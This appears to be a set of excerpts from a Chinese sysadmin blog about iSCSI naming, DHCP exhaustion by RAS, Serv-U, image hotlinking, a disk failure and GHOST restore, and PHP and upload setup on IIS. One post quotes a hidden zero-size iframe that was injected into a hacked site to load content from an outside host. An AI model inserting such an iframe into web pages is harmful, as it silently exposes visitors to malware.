玩儿过iSCSI的朋友多少都接触过IQN(iSCSI Qualified Name)——用来标识iSCSI客户端的设备名，以前从来没仔细想过其名字的特别之处——因为在Windows下中可以任意命名，不受任何限制，但最近从XenServer连HP的MSA2000i时却遇到了问题。 一开始是在XenServer上不能任意命名，所以只好依然给个一长串的名字，虽然从MSA2000上也能看到这个设备，也能对其进行Volume Mapping操作，但映射后XenServer就是连不上存储，经反复折腾，为这事都特意给HP打过电话，一直没能解决。 今天偶然打开MSA的管理界面时忽然发现一个小问题：...

 朋友来信说他们的网络中客户机的RAS服务占用了大量DHCP自动分配的地址，问有没有什么办法解决一下。

放狗一搜，发现网上的方法全是手工禁用客户端的"Routing and Remote Access"服务，没有从服务器端的解决办法，朋友他们的网络中有数百台机器，总不能一台一台地去禁呀，而我今天请假在家，手边也没有DHCP服务器可供测试，想来想去，只好想了个“馊主意”：

[Quote]写个关RAS服务的脚本放网站上，

…

刚才朋友打电话过来说网站被挂马了.

打开他的网站一看, 在每个页面的DOCTYPE之前都有一个Iframe:

<iframe width="0" height="0" src="http://t.93se.com/jj/jj.htm"></iframe>

 看到后的第一印象是: 网站的包含文件被修改了. 但打开所有的包含文件看了一下,都没有这段代码呀~ 试了一会后发现: 这段代码竟然在第一个Include文件之前出现的……

…

单位配给我的机器是台扣肉1.8G、160G硬盘的台式机，因为用习惯了自己的笔记本，所以这台机器目前基本上用不到，一时兴起，就在这台机器上装了个Serv-U，配成了台内部的FTP服务器。装完Serv-U后顺便又搜了一下Serv-U的登录登出消息中用到的变量清单，不想每次都麻烦去搜，干脆COPY了一份过来，作为资料留存：[QUOTE]时间和日期%Time – 显示你的计算机当前时间%Date – 显示你的计算机当前日期服务器的统计信息%ServerDays – 显示服务器已经运行的天数%Server…

周一早上登录服务器, 发现流量高得不正常, 竟然达7-10m, 瞬间流量竟然高于16m! 仔细分析一下主站的日志, 发现没有异常呀~ 照朋友的建议挨个站停着试, 结果发现停到一个垃圾站时流量立即降到正常的500k了… 这是个纯文章站, 没有下载内容, 显示是其中的图片被盗链了.

晕哪~ 主站没人理, 倒是个垃圾站被人盗链… 赶紧分析日志, 发现原来是某个目录中的几十张图片被盗链了. 这些图片在我的垃圾站中看的人不多, 没想到被几个论坛盗链后竟然这么受欢迎~~

放狗一顿乱搜, 发现大多数防盗链的ISAPI过滤器什么的都是收费的, 虽然也提供免费版, 但功能限制得太死了, 连试都不值得在服务器上试一下. 好不容易找到一个VirtualWall, 10G以内流量免费, 收费版也是甚至IP的, 而不是基于域名, 所以还是比较合适的, 就装上试了一下, 发现确实管用

不过流量虽然降下来了, 内存占用却飙上去了, 原来只用600M内存就可以把几个站全带起来的, 这次只给那个垃圾站的一个目录加了过滤, 就占了这么多的内存, 竟然达1.1G, 没办法, 打开任务管理器, 把能关的进程全关, 再挨个回收各个进程池, 也没有太明显的效果, 只不过降到了0.99G而已.

今天一早过来, 没别的, 打开中关村报价先看内存报价, 结果一看竟然吓一跳, 比起当初我配服务器时来, 价格竟然降了近一半, 赶紧联系机房给加一条内存, 然后顺便自己跑电脑城去买了条512的笔记本内存, 终于盗链这事才算告一段落~

现在看来, 防盗链的软件还是能不装就不装的好, 就象我那个垃圾站, 虽然占带宽厉害, 但如果在站点属性里设置其最大可用带宽也能限制住带宽占用, 而且正常打开网站感觉不到明显的变慢, 但加了防盗链后, 内存战胜增高, 启用了虚拟内存, 反正服务器上所有网站的性能全感到有所下降了.

Del.icio.us : 盗链

近两周来服务器一个劲地死机, 很是影响网站流量, 看了一下日志, 发现经常报”驱动程序在 \Device\Harddisk0 上检测到控制器错误。”的错误, 其实一开始就发现这个问题了, 只不过当时到网上搜了一下, 说偶尔出现这样的错误没事儿, 就没当回事儿, 但今天想想还是找个软件试试看吧, 结果一试之下发现竟然问题很严重!!

赶紧联系机房管理员, 他们倒是挺痛快, 答应立即给换块硬盘, 不过, 换盘后是重做系统… 说实话, 虽然数据丢不了, 这也够我受的…

当初为了安全,我服务器上所有的文件夹权限及用户的各种操作权限都是手中一样一样的配的, 力求每样都做到权限最小化, 包括各种端口也都重换了. 现在重做了系统的话那三五天内主站是别想访问了, 那些其余的站估计也得一两个周才能全部能用…

赶紧给机房管理员打电话, 希望他能给我做一次全盘GHOST(其实这也不比重做系统麻烦多少的), 并进一步跟他说明情况, 好在管理员还是挺有人情味的, 答应给试一下, 但却不敢保证GHOST过程中会不会丢数据.

呵呵, 能用总比不能强. 先答应再说, 就算丢了数据, 还可以手工从原盘中COPY出来嘛, 又不是出了坏道.

大约9点多机房开始给处理, 等到吃完午饭, 不到12点, 机房就打电话过来说服务器已经上架了, 原硬盘可以给保存三天.

远程登录后发现防火墙/FTP等一系列的服务都没启动, 打开电脑一看, 原来GHOST后系统只认C盘, D盘往后的盘符都没有分配, 到磁盘管理器里去分配完盘符, 重启, 一切正常~~ 呵呵, 有惊无险, 总算是过了一关~~

Del.icio.us : 服务器, 硬盘

原来没在服务器上装PHP的环境, 最近想给朋友开一个PHPWIND的论坛,就下载了PHP环境下的一系列的安装文件在本机两台2003系统上先试了一把, 都没问题后就传到服务器上进行安装.岂知安装完IIS下用的PHP5ISAPI.DLL后竟然不能打开PHP的页面, 不管是什么代码, 只要扩展名是PHP就不可用, 添加PHP扩展/设置PHP.INI等工作我全做了, 还是不行. ISAPI筛选器那儿显示的是个向下的红箭头, 说明ISAPI载入根本就不成功… 而且猜想一定是某处权限没设好.折腾了两天都…

　　DOS虽然已很少有人再提起了, 但DOS下还是有很多简单而有用的命令的, 譬如今天我想知道到底服务器是不是真的会不定期地重启, 本是需要到网上下个软件或是自己写一个调用系统API的小工具, 但忽然想到Win2000下有个systeminfo 命令可以显示当前系统已运行的时间, 就简单构造了一行DOS命令, 来实现这一功能. 　　新建一个.bat或.cmd文件, 用记事本打开, 复制以下两行粘贴到记事本中, 保存即可.@systeminfo | find "系统启动时间"@…

　　以Web方式上传文件时总是报错, 说"^_^哥们！请选择一个有效的上传文件！", 把我郁闷得不得了, 找人问了一下, 那人建议我别去找问题了, 还是直接装个上传组件得了.　　正好最近一直想装的, 安装文件都下好了, 就等安装了, 便先在本机装了一下, 测试没问题, 然后在服务器上安装.　　装完后惊奇得发现, 系统竟然不认识这个组件, 仍是报告说"组件不支持". 在本地装时根本就没这么多问题呀, 装完就能用的… 想了一下, 忽然想起来, 服务器上为了…